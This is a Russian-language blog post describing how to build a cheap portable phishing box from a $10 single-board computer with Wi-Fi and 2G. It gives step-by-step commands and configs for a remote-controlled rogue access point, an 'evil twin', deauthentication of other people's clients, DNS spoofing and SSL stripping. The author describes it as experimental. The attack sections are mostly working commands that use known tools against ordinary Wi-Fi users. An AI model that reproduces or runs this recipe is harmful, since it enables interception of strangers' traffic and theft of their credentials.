Шерстя просторы AliExpress
в поисках Raspberry Pi, я наткнулся на такую такое вот устройство.
Этот одноплатник за 10$ имеет скромные габариты (67×42мм), содержит в себе: Cortex-A5 1,0 ГГц, 256Мб оперативной памяти, 512Мб NAND, а главное — встроенные WI-FI и 2G адаптеры!
Сразу вспомнилась статья «Ананасовый рай», вышедшая в журнале Хакер в далеком 2013 и я загорелся желанием превратить «апельсинку» в устройство для фишинга.
Сазу оговорюсь, что делается все это исключительно в экспериментальных целях.
Первые приготовления
Итак, идем на сайт производителя и скачиваем образ ОС, я выбрал Raspbian.
Далее, распаковываем его на micro sd карту, ставим перемычку в положение T-Card и включаем питание.
Для подключения можно использовать usb-ttl переходник, либо задать логин-пароль в /etc/network/interfaces и подключиться по ssh.
Теперь можно подключиться к Wi-Fi через wpa_cli
add_network set_network 1 ssid "login" set_network 1 psk "password" enable_network 1
Настраиваем dhcp
dhclient wlan0
Подключаемся через 2g
Устанавливаем пакеты
apt-get install ppp wvdial
Создаем конфиг файлы (я использовал сим карту от МТС).
[Dialer Defaults] ISDN = 0 Modem Type = Analog Modem Phone = *99***1# Stupid Mode = 1 Dial Command = ATDT Modem = /dev/modem0 Baud = 460800 Init1 = ATE1 Init2 = AT+COPS=0 Init3 = AT+CFUN=1 Init4 = AT+CGATT=1 Init5 = AT+CGDCONT=1,"IP","internet.mts.ru","",0,0 Init6 = AT+CGACT=1,1 Username = mts Password = mts
ipcp-accept-local ipcp-accept-remote noipdefault defaultroute replacedefaultroute usepeerdns user mts noauth novj nobsdcomp crtscts modem lock
Пробуем подключиться; должно появиться ppp0 подключение.
wvdial
Соединение может выпадать, поэтому напишем скрипт, который будет постоянно дергать сеть.
#!/bin/bash while : ; do wvdial sleep 10 done ) &
И положем его на автостарт в /etc/rc.local/root/scripts/wvdial >/dev/null 2>&1 &
Настраиваем openvpn
Теперь поставим openvpn, чтобы мы могли без статики подключаться по SSH к нашей «апельсинке».
apt-get install openvpn
Гайды по настройки можно найти в сети, единственное — в файле конфига сервера необходимо раскомментировать опцию для маршрутизации трафика между хостами.client-to-client
После настройки появляется tun0 соединение, перезапускаем openvpn и добавляем его в автозагрузку.
systemctl restart openvpn && systemctl enable openvpn
Теперь можно подключаться к устройству, минуя статику.
Чтобы 2G соединение не казалось нам болью, меняем приоритеты адаптеров и перезапускаем openvpn.
ip route del default && ip route add default via 192.168.100.1 dev wlan0 && ip route add 192.168.100.0/24 via 192.168.100.1 dev wlan0 && service openvpn restart
Поднимаем точку доступа
Подключаем внешний usb Wifi адаптер и установим пакеты
apt-get install git dsniff isc-dhcp-server
Настроим dhcpd сервер.
authoritative; default-lease-time 600; max-lease-time 7200; subnet 172.16.0.0 netmask 255.255.255.0 { option routers 172.16.0.1; option subnet-mask 255.255.255.0; option domain-name-servers 172.16.0.1,8.8.8.8; range 172.16.0.2 172.16.0.254; }
Включим маршрутизацию трафика
echo 1 > /proc/sys/net/ipv4/ip_forward
Теперь запустим точку доступа:
airbase-ng -e FREE wlan1 -c 2
Поднимем сеть
ifconfig at0 up ifconfig at0 172.16.0.1 netmask 255.255.255.0
Настраиваем фаервол
iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain iptables -P FORWARD ACCEPT iptables --table nat --append POSTROUTING --out-interface wlan0 -j MASQUERADE iptables --append FORWARD -j ACCEPT --in-interface at0
Запускаем демон dhcp
dhcpd -cf /etc/dhcp/dhcpd.conf
Отлично, точка доступа работает, маршрутизация работает.
Мы также можем создать «злого близнеца», поменяв SSID точки доступа, MAC адрес и канал связи.
Узнать информацию о доступных точках доступа, а также клиентов, подключенных к ним, можно, запустив утилиту airodump-ng.
airodump-ng wlan0
Можно даже отправить пакеты для разъединения клиенту, чтобы он подключился к нашей ТД.
aireplay-ng -0 1 -a 01:02:03:04:05:06 -c 11:12:13:14:15:16 wlan0
01:02:03:04:05:06 — mac ТД.
11:12:13:14:15:16 — mac клиента.
DNS Spoofing
Скачиваем репозиторий.
git clone https://github.com/LeonardoNve/dns2proxy
Редактируем под себя domains.cfg и запускаем программу.
echo ".test.com 172.16.0.1" >> domains.cfg apt-get install nginx // Немного коммента python3 dns2proxy.py
Теперь клиенты, заходя на test.com, будут попадать на наш локальный веб-сервер.
SSL Stripping
Скачаем репозиторий
git clone https://github.com/byt3bl33d3r/sslstrip2
Перенаправляем трафик.
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
Запускаем программу.
python sslstrip -l 10000
К сожалению, сейчас sslstrip2 работает не со всеми сайтами.
Итог
За 10$ получилось собрать тот же «Ананасик», но гораздо компактнее.
С аккумулятором на 2000mAч устройства хватает примерно на сутки.
Характеристики на сайте производителя.
Скрипты по поднятию fake ap собрал в репозиторий.
Источник